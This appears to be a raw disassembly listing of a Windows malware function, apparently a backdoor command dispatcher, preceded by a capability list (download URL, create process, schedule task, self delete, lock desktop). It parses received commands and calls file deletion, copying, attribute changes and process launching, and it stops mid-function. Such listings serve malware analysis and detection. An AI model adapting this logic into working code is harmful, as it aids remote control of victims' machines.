Function at 0x476008
Capabilities:
Copy file
Create process on windows
Delete file
Download url
Get memory capacity
Lock the desktop
Receive data
Schedule task via at
Self delete
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xf5
push 0
push 0
dec ecx
jne 0x476010
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
call fcn.004059cc
lea eax, [ebp - 0x198]
mov edx, dword [0x408b28]
call fcn.00405fe8
xor eax, eax
push ebp
push 0x47d43a
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x47d2f7
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 8]
mov edx, 0x47d454
call fcn.00405974
jne 0x47606c
mov eax, 0x47d464
call fcn.00475d90
lea eax, [ebp - 0x20c]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x20c]
mov edx, 0x47d474
call fcn.00405974
jne 0x4760be
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.0048ba60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47d301
lea eax, [ebp - 0x210]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x210]
mov edx, 0x47d488
call fcn.00405974
jne 0x476108
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409edc
call fcn.00489328
lea eax, [ebp - 0x214]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x214]
mov edx, 0x47d49c
call fcn.00405974
jne 0x4763b6
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [0x494b74]
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebp - 0x1c]
call fcn.0048d56c
movzx eax, byte [0x47d4b0]
push eax
lea eax, [ebp - 0x218]
push eax
mov ecx, 0x47d4bc
mov edx, 0x47d4ac
mov eax, dword [ebp - 0x1c]
call fcn.0040ef44
mov edx, dword [ebp - 0x218]
lea eax, [ebp - 0x1c]
call fcn.004055c8
call fcn.0048d6d8
test al, al
je 0x4761ed
lea eax, [ebp - 0x14]
mov edx, 0x47d4c8
call fcn.004055c8
jmp 0x4761fa
lea eax, [ebp - 0x14]
mov edx, 0x47d4d8
call fcn.004055c8
lea eax, [ebp - 0x21c]
call fcn.0048d5e8
cmp dword [ebp - 0x21c], 0
je 0x47621d
lea eax, [ebp - 0x18]
mov edx, 0x47d4e8
call fcn.004055c8
jmp 0x476225
lea eax, [ebp - 0x18]
call fcn.00405530
push 0x47d4f4
mov eax, dword [0x494934]
push dword [eax]
push 0x47d4ac
push dword [ebp - 0xc]
push 0x47d504
push 0x47d510
lea eax, [ebp - 0x224]
call fcn.004609d8
push dword [ebp - 0x224]
push 0x47d51c
lea edx, [ebp - 0x228]
mov eax, dword [0x4949d8]
movzx eax, word [eax]
call fcn.00409d70
push dword [ebp - 0x228]
push 0x47d4ac
lea eax, [ebp - 0x22c]
call fcn.0048d4e4
push dword [ebp - 0x22c]
push 0x47d504
lea eax, [ebp - 0x230]
call fcn.0048d4a8
push dword [ebp - 0x230]
push 0x47d4ac
push dword [ebp - 0x10]
push 0x47d4ac
call fcn.0048a748
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x234]
call fcn.00409e5c
push dword [ebp - 0x234]
push 0x47d52c
push 0x47d4ac
lea eax, [ebp - 0x238]
call fcn.0048d9f8
push dword [ebp - 0x238]
push dword [ebp - 0x14]
push 0x47d538
lea eax, [ebp - 0x240]
call fcn.0048dd38
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x23c]
call fcn.0040a5a0
push dword [ebp - 0x23c]
push 0x47d544
push 0x47d4ac
lea eax, [ebp - 0x244]
call fcn.0048bf3c
push dword [ebp - 0x244]
push 0x47d4ac
push dword [ebp - 0x18]
push 0x47d4ac
lea eax, [ebp - 0x248]
call fcn.0048d520
push dword [ebp - 0x248]
push 0x47d4ac
push dword [ebp - 0x1c]
push 0x47d4ac
mov eax, dword [0x494914]
push dword [eax]
push 0x47d4ac
lea eax, [ebp - 0x24c]
call fcn.0048e340
push dword [ebp - 0x24c]
push 0x47d4ac
lea eax, [ebp - 0x250]
call fcn.0048e264
push dword [ebp - 0x250]
push 0x47d4ac
mov eax, dword [0x4949e8]
push dword [eax]
push 0x47d4ac
mov eax, dword [0x4948ac]
push dword [eax]
lea eax, [ebp - 0x220]
mov edx, 0x2a
call fcn.004058e0
mov eax, dword [ebp - 0x220]
call fcn.00475d90
lea eax, [ebp - 0x254]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x254]
mov edx, 0x47d550
call fcn.00405974
jne 0x4764a9
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x258]
call fcn.0048d5e8
cmp dword [ebp - 0x258], 0
je 0x47641a
lea eax, [ebp - 0xc]
mov edx, 0x47d4e8
call fcn.004055c8
jmp 0x476422
lea eax, [ebp - 0xc]
call fcn.00405530
push 0x47d564
mov eax, dword [0x494934]
push dword [eax]
push 0x47d4ac
push dword [ebp - 8]
push 0x47d4ac
call fcn.0048a748
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x260]
call fcn.00409e5c
push dword [ebp - 0x260]
push 0x47d52c
push 0x47d4ac
push dword [ebp - 0xc]
push 0x47d4ac
lea eax, [ebp - 0x264]
call fcn.0048e340
push dword [ebp - 0x264]
push 0x47d4ac
lea eax, [ebp - 0x268]
call fcn.0048d56c
push dword [ebp - 0x268]
lea eax, [ebp - 0x25c]
mov edx, 0xd
call fcn.004058e0
mov eax, dword [ebp - 0x25c]
call fcn.00475d90
lea eax, [ebp - 0x26c]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x26c]
mov edx, 0x47d578
call fcn.00405974
jne 0x4764fd
lea eax, [ebp - 8]
mov ecx, 3
mov edx, 1
call fcn.00405a84
push 0x40
push 0x47d57c
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0
call sub.user32.dll_MessageBoxA_1
lea eax, [ebp - 0x270]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x270]
mov edx, 0x47d588
call fcn.00405974
jne 0x476555
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
push 5
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x47d594
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 8]
mov edx, 0x47d5a4
call fcn.00405974
jne 0x476590
lea eax, [ebp - 0x278]
call fcn.0046d968
mov ecx, dword [ebp - 0x278]
lea eax, [ebp - 0x274]
mov edx, 0x47d5b8
call fcn.00405864
mov eax, dword [ebp - 0x274]
call fcn.00475d90
mov eax, dword [ebp - 8]
mov edx, 0x47d5c8
call fcn.00405974
jne 0x4765cb
lea eax, [ebp - 0x280]
call fcn.0046d968
mov ecx, dword [ebp - 0x280]
lea eax, [ebp - 0x27c]
mov edx, 0x47d5e0
call fcn.00405864
mov eax, dword [ebp - 0x27c]
call fcn.00475d90
mov eax, dword [ebp - 8]
mov edx, 0x47d5f4
call fcn.00405974
jne 0x476606
lea eax, [ebp - 0x288]
call fcn.00489204
mov ecx, dword [ebp - 0x288]
lea eax, [ebp - 0x284]
mov edx, 0x47d608
call fcn.00405864
mov eax, dword [ebp - 0x284]
call fcn.00475d90
lea eax, [ebp - 0x28c]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x28c]
mov edx, 0x47d618
call fcn.00405974
jne 0x47672a
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea edx, [ebp - 0x290]
mov eax, dword [ebp - 0xc]
call fcn.0046d514
mov eax, dword [ebp - 0x290]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
call fcn.00475f3c
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47d628
call fcn.00405974
jne 0x476767
lea edx, [ebp - 0x298]
xor eax, eax
call fcn.0048b400
mov ecx, dword [ebp - 0x298]
lea eax, [ebp - 0x294]
mov edx, 0x47d63c
call fcn.00405864
mov eax, dword [ebp - 0x294]
call fcn.00475d90
mov eax, dword [ebp - 8]
mov edx, 0x47d64c
call fcn.00405974
jne 0x4767a7
lea edx, [ebp - 0x2a0]
mov eax, 5
call fcn.0048b400
mov ecx, dword [ebp - 0x2a0]
lea eax, [ebp - 0x29c]
mov edx, 0x47d63c
call fcn.00405864
mov eax, dword [ebp - 0x29c]
call fcn.00475d90
mov eax, dword [ebp - 8]
mov edx, 0x47d660
call fcn.00405974
jne 0x4767df
jmp 0x4767c7
mov eax, 0x47d674
call fcn.00484a24
call fcn.00484e5c
mov eax, 0x47d674
call fcn.00484a24
test eax, eax
jg 0x4767b8
call sub.kernel32.dll_GetCurrentProcessId
call fcn.00484e5c
mov eax, dword [ebp - 8]
mov edx, 0x47d688
call fcn.00405974
jne 0x4767fb
mov eax, dword [0x494af4]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_closesocket
mov eax, dword [ebp - 8]
mov edx, 0x47d6a0
call fcn.00405974
jne 0x4768a0
lea edx, [ebp - 0x2a4]
mov eax, 0x47d6b8
call fcn.00473608
mov eax, dword [ebp - 0x2a4]
mov edx, 0x47d6c4
call fcn.00405974
je 0x47686a
push 0x47d6d0
lea edx, [ebp - 0x2ac]
xor eax, eax
call fcn.0040f234
push dword [ebp - 0x2ac]
push 0x47d6f8
lea eax, [ebp - 0x2a8]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x2a8]
call fcn.0046d480
jmp 0x476896
push 0x47d6d0
mov eax, dword [0x494880]
push dword [eax]
push 0x47d6f8
lea eax, [ebp - 0x2b0]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x2b0]
call fcn.0046d480
call sub.kernel32.dll_GetCurrentProcessId
call fcn.00484e5c
lea eax, [ebp - 0x2b4]
push eax
mov ecx, 0x12
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2b4]
mov edx, 0x47d704
call fcn.00405974
jne 0x4768f7
lea eax, [ebp - 8]
mov ecx, 0x12
mov edx, 1
call fcn.00405a84
xor ecx, ecx
mov edx, dword [ebp - 8]
xor eax, eax
call fcn.0048a84c
test al, al
jne 0x4768f7
mov eax, 0x47d720
call fcn.00475d90
lea eax, [ebp - 0x2b8]
push eax
mov ecx, 0xf
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2b8]
mov edx, 0x47d730
call fcn.00405974
jne 0x476a24
lea eax, [ebp - 8]
mov ecx, 0xf
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x2bc]
mov eax, dword [ebp - 0xc]
call fcn.00409b7c
cmp dword [ebp - 0x2bc], 0
je 0x4769e2
push 5
lea edx, [ebp - 0x2c0]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a0
mov eax, dword [ebp - 0x2c0]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47d594
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x476a24
mov eax, 0x47d748
call fcn.00475d90
jmp 0x476a24
push 5
lea edx, [ebp - 0x2c4]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a0
mov eax, dword [ebp - 0x2c4]
call fcn.004059dc
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47d594
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x476a24
mov eax, 0x47d748
call fcn.00475d90
lea eax, [ebp - 0x2c8]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2c8]
mov edx, 0x47d75c
call fcn.00405974
jne 0x476b51
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x2cc]
mov eax, dword [ebp - 0xc]
call fcn.00409b7c
cmp dword [ebp - 0x2cc], 0
je 0x476b0f
push 0
lea edx, [ebp - 0x2d0]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a0
mov eax, dword [ebp - 0x2d0]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47d594
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x476b51
mov eax, 0x47d748
call fcn.00475d90
jmp 0x476b51
push 0
lea edx, [ebp - 0x2d4]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a0
mov eax, dword [ebp - 0x2d4]
call fcn.004059dc
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47d594
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x476b51
mov eax, 0x47d748
call fcn.00475d90
lea eax, [ebp - 0x2d8]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2d8]
mov edx, 0x47d778
call fcn.00405974
jne 0x476bdd
lea eax, [ebp - 8]
mov ecx, 7
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409edc
mov edx, eax
mov eax, dword [ebp - 0xc]
call fcn.0048a8f4
lea eax, [ebp - 0x2dc]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2dc]
mov edx, 0x47d788
call fcn.00405974
jne 0x476cf2
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409edc
dec eax
jle 0x476ce4
mov eax, dword [ebp - 8]
call fcn.00409edc
mov ebx, eax
test ebx, ebx
jl 0x476cf2
inc ebx
xor esi, esi
mov eax, dword [ebp - 8]
call fcn.00409edc
cmp esi, eax
jne 0x476c93
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x476cde
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov edx, dword [ebp - 0xc]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
inc esi
dec ebx
jne 0x476c77
jmp 0x476cf2
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x2e0]
push eax
mov ecx, 0x10
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2e0]
mov edx, 0x47d7a8
call fcn.00405974
jne 0x476df5
lea eax, [ebp - 8]
mov ecx, 0x10
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409edc
dec eax
jle 0x476ded
mov eax, dword [ebp - 8]
call fcn.00409edc
mov ebx, eax
test ebx, ebx
jl 0x476df5
inc ebx
xor esi, esi
mov eax, dword [ebp - 8]
call fcn.00409edc
cmp esi, eax
jne 0x476da2
mov eax, dword [ebp - 0xc]
call fcn.0048a9fc
jmp 0x476de7
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov edx, dword [ebp - 0xc]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 0x10]
call fcn.0048a9fc
inc esi
dec ebx
jne 0x476d8c
jmp 0x476df5
mov eax, dword [ebp - 0xc]
call fcn.0048a9fc
mov eax, dword [ebp - 8]
mov edx, 0x47d7c4
call fcn.00405974
jne 0x476e09
call fcn.0048aaa0
lea eax, [ebp - 0x2e4]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2e4]
mov edx, 0x47d7d8
call fcn.00405974
jne 0x476e59
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 0x80
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2e8]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2e8]
mov edx, 0x47d7f0
call fcn.00405974
jne 0x476ea6
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 2
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2ec]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2ec]
mov edx, 0x47d808
call fcn.00405974
jne 0x476ef3
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 1
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2f0]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2f0]
mov edx, 0x47d81c
call fcn.00405974
jne 0x476f40
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 4
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2f4]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2f4]
mov edx, 0x47d834
call fcn.00405974
jne 0x476f8d
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
push 0x20
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2f8]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2f8]
mov edx, 0x47d84c
call fcn.00405974
jne 0x476fdd
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
push pe_nt_image_headers32
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2fc]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2fc]
mov edx, 0x47d860
call fcn.00405974
jne 0x477114
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea ecx, [ebp - 0x198]
mov edx, 0x3f
mov eax, dword [ebp - 8]
call fcn.0040a488
mov ebx, dword [ebp - 0x188]
test ebx, 2
jle 0x47704e
lea eax, [ebp - 0xc]
mov edx, 0x47d878
call fcn.004055c8
jmp 0x47705b
lea eax, [ebp - 0xc]
mov edx, 0x47d888
call fcn.004055c8
test ebx, 1
jle 0x477072
lea eax, [ebp - 0x10]
mov edx, 0x47d894
call fcn.004055c8
jmp 0x47707f
lea eax, [ebp - 0x10]
mov edx, 0x47d888
call fcn.004055c8
test ebx, 0x20
jle 0x477096
lea eax, [ebp - 0x14]
mov edx, 0x47d8a8
call fcn.004055c8
jmp 0x4770a3
lea eax, [ebp - 0x14]
mov edx, 0x47d888
call fcn.004055c8
test ebx, 4
jle 0x4770ba
lea eax, [ebp - 0x18]
mov edx, 0x47d8b8
call fcn.004055c8
jmp 0x4770c7
lea eax, [ebp - 0x18]
mov edx, 0x47d888
call fcn.004055c8
push 0x47d8c8
push dword [ebp - 8]
push 0x47d8e0
push 0x47d8ec
push dword [ebp - 0xc]
push 0x47d908
push dword [ebp - 0x10]
push 0x47d908
push dword [ebp - 0x14]
push 0x47d908
push dword [ebp - 0x18]
push 0x47d914
lea eax, [ebp - 0x300]
mov edx, 0xc
call fcn.004058e0
mov eax, dword [ebp - 0x300]
call fcn.00475d90
lea eax, [ebp - 0x304]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x304]
mov edx, 0x47d920
call fcn.00405974
jne 0x477555
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
mov eax, dword [0x494944]
cmp dword [eax], 0
je 0x477555
lea eax, [ebp - 0xc]
push eax
mov edx, dword [0x494944]
mov edx, dword [edx]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov eax, dword [0x494944]
mov eax, dword [eax]
mov edx, 1
call fcn.00405a44
mov edx, dword [0x494944]
mov edx, dword [edx]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
mov eax, dword [0x494944]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x308]
push eax
mov edx, dword [0x494944]
mov edx, dword [edx]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov eax, dword [0x494944]
mov eax, dword [eax]
mov edx, 1
call fcn.00405a44
mov eax, dword [ebp - 0x308]
call fcn.00409edc
mov esi, eax
mov edx, dword [0x494944]
mov edx, dword [edx]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
mov eax, dword [0x494944]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [0x494944]
mov edx, dword [edx]
call fcn.004055c8
mov eax, dword [ebp - 0x14]
mov edx, 0x47d6c4
call fcn.00405974
jne 0x4773f1
cmp esi, 1
jle 0x4773a0
mov ebx, esi
test ebx, ebx
jle 0x477541
mov edi, 1
cmp esi, edi
je 0x477347
push 0xffffffffffffffff
lea eax, [ebp - 0x314]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x314]
lea edx, [ebp - 0x310]
call fcn.0040a68c
mov ecx, dword [ebp - 0x310]
lea eax, [ebp - 0x30c]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x30c]
call fcn.004059dc
push eax
lea eax, [ebp - 0x318]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x318]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x31c]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x1bc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x1bd], al
mov edx, dword [ebp - 0xc]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
jmp 0x477393
push 0xffffffffffffffff
lea edx, [ebp - 0x324]
mov eax, dword [ebp - 0xc]
call fcn.0040a68c
mov ecx, dword [ebp - 0x324]
lea eax, [ebp - 0x320]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x320]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
inc edi
dec ebx
jne 0x477248
jmp 0x477541
push 0xffffffffffffffff
lea edx, [ebp - 0x32c]
mov eax, dword [ebp - 0xc]
call fcn.0040a68c
mov ecx, dword [ebp - 0x32c]
lea eax, [ebp - 0x328]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x328]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x477541
cmp esi, 1
jle 0x477503
mov ebx, esi
test ebx, ebx
jle 0x477541
mov edi, 1
cmp esi, edi
je 0x4774bb
push 0xffffffffffffffff
lea eax, [ebp - 0x338]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d79c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x338]
lea edx, [ebp - 0x334]
call fcn.0040a68c
mov ecx, dword [ebp - 0x334]
lea eax, [ebp - 0x330]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x330]
call fcn.004059dc
push eax
